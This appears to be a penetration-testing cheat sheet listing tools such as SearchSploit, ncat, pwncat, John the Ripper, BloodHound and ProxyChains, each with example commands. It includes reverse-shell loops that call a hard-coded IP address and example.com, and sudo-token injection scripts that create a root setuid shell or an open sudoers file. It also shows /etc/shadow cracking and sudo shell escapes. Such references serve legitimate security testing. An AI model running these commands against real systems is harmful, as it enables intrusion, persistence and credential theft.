Reference List
Tnmap.py – Splits a large network into smaller segments to enable parallel scans, multi-host task sharing, and more [Link].
tnmap.py 10.0.0.0/8
SearchSploit – A simple way to search for vulnerabilities using a local copy of exploit-db.com [Link]. Other sources for vulnerabilities and exploits: NIST Vulnerability Database [Link], Mitre CVE [Link], and CVE Program [Link].
sudo apt install exploitdb -y searchsploit wordpress sudo -V | grep "Sudo ver" searchsploit "sudo 1.9.5p1"
suBruteForce – Brute-forces access as a specific user [Link].
./suBF.sh -u username -w top12000.txt -t 0.7 -s 0.007
sudo_inject – Injects into processes that have a valid sudo token and activates a sudo token for the current session [Link].
Creates the binary activate_sudo_token in /tmp, which can be used to activate the sudo token in your session:
bash exploit.sh /tmp/activate_sudo_token sudo su
Creates a setuid shell in /tmp owned by root:
bash exploit_v2.sh /tmp/sh -p
Creates a sudoers file that makes sudo tokens permanent and allows all users to use sudo:
bash exploit_v3.sh sudo su
Foremost – A forensics tool that recovers files based on headers and footers from a disk or image file [Link].
sudo apt install foremost foremost -t jpg,pdf -i image.dd foremost -t doc,xml -i /dev/sdb1
Zsteg – A Ruby tool to detect and extract hidden data from image files [Link].
sudo gem install zsteg zsteg image.png
ExifTool – Reads and writes metadata in a wide variety of file formats [Link]. Official website [Link].
sudo apt install exiftool exiftool image.png exiftool -common image.jpg exiftool image.jpg | grep GPS exiftool -all= image.jpg
GDB – The GNU Project debugger. Lets you inspect what a program is doing while it runs or at the moment it crashes [Link]. Commonly used with PEDA (Python Exploit Development Assistance for GDB), which colorizes disassembly output, displays register and memory information during debugging, and adds extra commands [Link].
sudo apt install gdb gdb executable (gdb) run
SublimeText – A sophisticated text editor for code and markup [Link].
wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - sudo apt-get install apt-transport-https echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list sudo apt-get update sudo apt-get install sublime-text subl script.sh
NCat – An Nmap version of NetCat with SSL support [Link].
while true; do sudo ncat --ssl -lv 53 ; done
while true; do ncat --ssl -v 174.88.217.186 53 -e /bin/bash; sleep 5 ; done
python3 -c 'import pty; pty.spawn("/bin/bash")'
PwnCat – A feature-rich bind and reverse shell handler. It works as a drop-in replacement or complement to netcat, ncat, or socat [Link].
pwncat -l -e '/bin/bash' 4444 -k pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1 pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
The first example keeps listening even after a disconnect.
The second and third examples reconnect if interrupted by Ctrl+C. The third works over UDP.
SeatBelt – Performs a number of security-oriented host survey checks [Link].
Seatbelt.exe -group=all -full Seatbelt.exe -group=user Seatbelt.exe -group=system Seatbelt.exe -group=slack Seatbelt.exe -group=chromium Seatbelt.exe -group=misc
GoBuster – A tool to brute-force and discover directories, files, and subdomains [Link].
sudo apt install gobuster gobuster dir -e -t 50 -u http://example.com/ -w /usr/share/wordlists/dirb/common.txt gobuster dns -d example.com -w subdomains.txt --wildcard
The first example uses -w to specify the wordlist, -u for the URL or domain, -e for expanded mode, and -t to set the number of threads.
The second example looks for subdomains using dns -d, and –wildcard properly handles wildcard DNS records (*.example.com).
SSHuttle – Creates a VPN over an SSH tunnel and allows lateral pivoting into the network [Link]. No installation or root access is required on the remote host; SSHuttle only needs to be installed on the client. Note that ICMP (ping) does not work over this VPN.
sudo apt-get install sshuttle -y sshuttle -r user@host 10.0.0.0/8 sshuttle --dns -vvr user@host 0/0
Use -r to specify the login credentials for the remote host, followed by the network you want to reach over the VPN. –dns tunnels DNS requests as well, and 0/0 routes all traffic through the VPN.
BloodHound – A GUI that reveals hidden and often unintended relationships within an Active Directory environment. It helps you understand privilege relationships between objects such as users and groups [Link].
Run the latest collector on a PowerShell session of a Windows machine joined to the Active Directory:
.\AzureHound.ps1 OR .\SharpHound.exe
Then transfer the output to the machine where BloodHound will analyze it.
It can be installed using the official tutorial [Link], or on Kali with the following commands:
sudo apt-get install bloodhound -y sudo neo4j console & bloodhound &
Go to http://localhost:7474/, log in with the default credentials (neo4j / neo4j), and change the password when prompted.
Use the updated credentials to connect and import the collected output files into BloodHound.
Evil-WinRM – Uses WinRM (Windows Remote Management), Microsoft’s implementation of the WS-Management Protocol, to provide a remote PowerShell prompt [Link]. Can be run locally or in a Docker container.
evil-winrm -i 10.0.0.1 -u user -p password
Armitage – A free GUI for Metasploit [Link]. See also Cobalt Strike, the commercial GUI for Metasploit [Link].
sudo msfdb init sudo apt install armitage -y sudo armitage
FrameBuffer – Not a tool but a technique to capture raw video output and save it to a file for virtualization or storage. You will need the resolution information to view the file later.
cat /dev/fb0 > fb.raw cat /sys/class/graphics/fb0/virtual_size
Use GIMP to open and visualize the file.
JohnTheRipper – A hash-cracking tool [Link]. It can automatically detect the hash type and adjust its parameters accordingly.
john single_password.txt john -w:password.lst user:pass.lst sudo john /etc/passwd /etc/shadow
A 58k English word list in upper and lower case is available [Link].
Tools bundled with John:
sudo unshadow /etc/passwd /etc/shadow > unshadow.txt unique -v -inp=allwords.lst uniques.lst
ColabCat – Uses Google Colab’s GPU to crack hashes with Hashcat [Link]. Just open the link and follow the steps. John the Ripper can also be run there.
!bash apt update apt install john echo "b50ac41ec20631c7b6be72f070d8ff67" > pass cat pass john pass
SMBMap – Lists share drives, permissions, and shared contents, and supports uploading, downloading, and remote command execution [Link].
smbmap -H 10.0.0.1 -R smbmap -u user -p password -H host
enum4linux – A wrapper around the Samba tools smbclient, rpcclient, net, and nmblookup, used for enumeration [Link].
enum4linux.pl -v 10.0.0.1 enum4linux.pl -a 10.0.0.1 enum4linux.pl -r 10.0.0.1 enum4linux.pl -u user -p password -U 10.0.0.1
ProxyChains – Forces any TCP connection through a proxy such as TOR or a SOCKS proxy, useful for anonymizing traffic or pivoting through hosts [Link].
proxychains nmap 10.0.0.1
Edit /etc/proxychains4.conf to customize the configuration:
dynamic_chain #strict_chain chain_len = 2 proxy_dns [ProxyList] #socks5 127.0.0.1 9150 # would use Tor Network socks4 200.200.200.200 9050 # a customized proxy socks4 200.200.200.100 9050 # a customized proxy socks4 200.100.100.100 9050 # a customized proxy socks4 200.100.100.100 9050 # a customized proxy
A good source of proxies can be found at [Link].
If you see the message “an existing sandbox was detected” in the terminal, run:
sudo firecfg --clean
HashID – Identifies the hash type used to encrypt data or passwords [Link]. See also the web-based TunnelsUp hash analyzer [Link].
pip install hashid hashid -mj '$2y$10$EtzcwxcVdq7D40GIStLA2u4mxfZfUctoD.fufB7NdAJgjq3ACy2Di' hashid file.txt
Axel – A multi-threaded command-line download accelerator for Linux [Link].
axel -a -n 6 https://example.com/file.gz
Note: -a shows only the progress bar, and -n 6 sets the number of threads.
GettingShell – Not a tool but a collection of techniques to gain root access or a shell through unexpected means.
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
If Vim, Vi, or More is running as root, it can open any file on the system or spawn a shell:
- :e /etc/passwd
- open a file as the running user
- :sh
- get a shell as the running user
- :shell
- get a shell as the running user
- :set shell=/bin/bash
- set a non-default shell if needed